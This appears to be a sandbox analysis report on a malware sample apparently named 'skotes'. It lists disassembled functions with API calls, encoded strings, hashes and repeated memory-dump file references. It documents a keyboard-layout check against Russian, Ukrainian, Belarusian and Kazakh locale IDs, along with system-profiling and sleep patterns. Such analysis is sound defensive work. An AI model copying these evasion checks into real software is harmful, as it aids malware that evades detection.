String ID: 8HJUeIfzLo==$8HJUeMD Lq5=$L/ds$L/ds$L/ds$RE1NXF==$invalid stoi argument$stoi argument out of range
API String ID: 2167506142-647377970
Opcode ID: 882da8cbb626e1e0e643899a91da227494b0ea73367755ceab885c24aed1145e
Instruction ID: 409ac87c39269e9ac9167af24f0d06f20a40aa81fa7f8044ce7a15e81a1709da
Opcode Fuzzy Hash: 882da8cbb626e1e0e643899a91da227494b0ea73367755ceab885c24aed1145e
Instruction Fuzzy Hash: 12B1F7B15002189FEB29DF28CC89BEE7B69EF45304F5045A9F509E7292DB319AC0CB55

Function 00036020 Relevance: 16.0, APIs: 2, Strings: 7, Instructions: 275
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNEL32(80000001,00000000,00000000,00020019,80000001,0000043f,00000008,00000423,00000008,00000422,00000008,00000419,00000008), ref: 0003617D
RegEnumValueA.KERNEL32(?,00000000,?,00001000,00000000,00000000,00000000,00000000), ref: 00036271

Strings

L/ds, xrefs: 00035DB8, 00035E00, 00035DF4, 00035DC5, 00035EE0
00000423, xrefs: 000360FA
L/ds, xrefs: 000359F4, 00035C24, 00035D67, 00035EE6, 0003603B, 000365F7, 000370AC
0000043f, xrefs: 0003612B
Keyboard Layout\Preload, xrefs: 00036054
00000422, xrefs: 000360C9
00000419, xrefs: 00036098

Memory Dump Source

Source File: 00000006.00000002.2966373897.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000006.00000002.2966202271.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2966373897.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967145647.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967354958.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967508174.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967715652.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967871635.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968573274.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968749850.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970057722.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970211495.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970696747.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970935233.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971093443.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971254543.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971409393.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971565517.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971704252.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971876959.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972135119.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972628534.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972906076.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973176679.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973385828.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973655987.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974951459.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975568741.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976085222.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977097102.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977453674.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977805957.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978007406.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978240155.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978438928.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978751391.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978979420.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979767932.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980044507.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980298474.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980803761.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981443956.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981866701.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982091447.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982309611.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982484598.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_30000_skotes.jbxd

Yara matches

Similarity

API ID: EnumOpenValue
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload$L/ds$L/ds
API String ID: 2571532894-2010513079
Opcode ID: 20dee588f09db488b0bf915796f635179d6afe39a5bcdf0b8ad496df2b21de0c
Instruction ID: dcae4ba83429647309eab9f1b795b5392b7228b87f45756be5457664f98346c4
Opcode Fuzzy Hash: 20dee588f09db488b0bf915796f635179d6afe39a5bcdf0b8ad496df2b21de0c
Instruction Fuzzy Hash: 9BB1D371900268ABDB25DB54CC88BDEB7B9AF04300F4442E9E108E7292DB759FE8CF54

Function 00037D30 Relevance: 10.9, APIs: 1, Strings: 5, Instructions: 426
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00037ED3

Strings

JjssOl==, xrefs: 0003813A
JjssPV==, xrefs: 000381E2
JjsrPl==, xrefs: 0003828A
L/ds, xrefs: 00037D5B
JjsrQV==, xrefs: 00038092

Memory Dump Source

Source File: 00000006.00000002.2966373897.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000006.00000002.2966202271.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2966373897.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967145647.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967354958.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967508174.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967715652.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967871635.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968573274.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968749850.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970057722.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970211495.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970696747.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970935233.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971093443.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971254543.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971409393.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971565517.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971704252.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971876959.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972135119.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972628534.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972906076.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973176679.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973385828.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973655987.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974951459.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975568741.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976085222.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977097102.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977453674.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977805957.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978007406.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978240155.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978438928.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978751391.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978979420.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979767932.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980044507.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980298474.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980803761.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981443956.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981866701.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982091447.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982309611.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982484598.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_30000_skotes.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID: JjsrPl==$JjsrQV==$JjssOl==$JjssPV==$L/ds
API String ID: 1721193555-2315950847
Opcode ID: 0a6d1b67f3dbd6e5ee9e9fec69f99eabac8f6bd15b87efd205bafcb4a4d25d1a
Instruction ID: f69acc995849c030b32b5733d71c0f6b7c95f4a8dd8931ea27a35a49070510ce
Opcode Fuzzy Hash: 0a6d1b67f3dbd6e5ee9e9fec69f99eabac8f6bd15b87efd205bafcb4a4d25d1a
Instruction Fuzzy Hash: 4DE1F8B0E00644ABDB26BB28CC4B3DD7A65AB41724F9446DCE4196B3D3DB354F918BC2

Function 00071ABC Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 279
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00071775: CreateFileW.KERNEL32(00000000,00000000,?,00071B65,?,?,00000000,?,00071B65,00000000,0000000C), ref: 00071792

__dosmaperr.LIBCMT ref: 00071BD7
GetFileType.KERNEL32(00000000), ref: 00071BE3
__dosmaperr.LIBCMT ref: 00071BF6
__dosmaperr.LIBCMT ref: 00071D9C

Strings

H, xrefs: 00071D21

Memory Dump Source

Source File: 00000006.00000002.2966373897.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000006.00000002.2966202271.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2966373897.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967145647.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967354958.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967508174.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967715652.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967871635.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968573274.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968749850.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970057722.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970211495.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970696747.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970935233.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971093443.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971254543.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971409393.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971565517.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971704252.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971876959.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972135119.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972628534.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972906076.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973176679.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973385828.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973655987.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974951459.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975568741.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976085222.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977097102.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977453674.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977805957.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978007406.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978240155.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978438928.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978751391.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978979420.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979767932.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980044507.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980298474.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980803761.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981443956.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981866701.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982091447.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982309611.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982484598.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_30000_skotes.jbxd

Yara matches

Similarity

API ID: __dosmaperr$File$CreateType
String ID: H
API String ID: 3443242726-2852464175
Opcode ID: 642ab7e1bd97d883386710dfa69c8330834a5139a248b1408359eae1b7b9b3b3
Instruction ID: 2c1a9fe1feebca10cca2446bd8d0cda342fa8b2561060c215dbffac929bf97ea
Opcode Fuzzy Hash: 642ab7e1bd97d883386710dfa69c8330834a5139a248b1408359eae1b7b9b3b3
Instruction Fuzzy Hash: 86A12831E041445FDF29DF6CCC91BEE3BE1AB46314F144189E806AB2D2DB399D12CB55

Function 00037590 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 158
sleepthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064,73642F4C,?,00000000,00079138,000000FF), ref: 000375CC
CreateThread.KERNEL32(00000000,00000000,00037430,00098638,00000000,00000000,?,?,?,?,?,?,?,?), ref: 000376BF
Sleep.KERNEL32(000001F4,?,?,?,?,?,?,?,?,?,?,?,?), ref: 000376C9

Part of subcall function 0004D0C7: RtlWakeAllConditionVariable.NTDLL ref: 0004D17B

Strings

L/ds, xrefs: 000375A2

Memory Dump Source

Source File: 00000006.00000002.2966373897.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000006.00000002.2966202271.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2966373897.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967145647.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967354958.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967508174.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967715652.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967871635.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968573274.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968749850.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970057722.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970211495.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970696747.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970935233.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971093443.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971254543.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971409393.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971565517.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971704252.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971876959.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972135119.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972628534.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972906076.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973176679.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973385828.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973655987.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974951459.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975568741.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976085222.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977097102.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977453674.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977805957.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978007406.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978240155.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978438928.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978751391.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978979420.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979767932.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980044507.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980298474.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980803761.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981443956.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981866701.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982091447.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982309611.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982484598.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_30000_skotes.jbxd

Yara matches

Similarity

API ID: Sleep$ConditionCreateThreadVariableWake
String ID: L/ds
API String ID: 79123409-185251681
Opcode ID: ca60a7be176d7e4570971ace1168240b1fddbf5cf3657c50b49599d398c4b23b
Instruction ID: afd290a7f54f6afdd51bfcb41df6f047cd18abb2f05207cde4a56859c5ac8cfa
Opcode Fuzzy Hash: ca60a7be176d7e4570971ace1168240b1fddbf5cf3657c50b49599d398c4b23b
Instruction Fuzzy Hash: 4451E4B0214244ABEB15DF28CC89B9D3BA5FB46704F50862AF9199B3D2CB7AD480CB55

Function 00066FB4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 145
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileType.KERNEL32(?,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00066EE6), ref: 00066FD6
GetFileInformationByHandle.KERNEL32(?,?), ref: 00067030
__dosmaperr.LIBCMT ref: 000670C5

Part of subcall function 0006732A: __dosmaperr.LIBCMT ref: 0006735F

Strings

L/ds, xrefs: 00066FBC

Memory Dump Source

Source File: 00000006.00000002.2966373897.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000006.00000002.2966202271.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2966373897.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967145647.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967354958.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967508174.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967715652.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967871635.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968573274.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968749850.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970057722.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970211495.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970696747.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970935233.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971093443.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971254543.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971409393.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971565517.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971704252.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971876959.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972135119.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972628534.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972906076.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973176679.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973385828.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973655987.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974951459.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975568741.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976085222.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977097102.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977453674.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
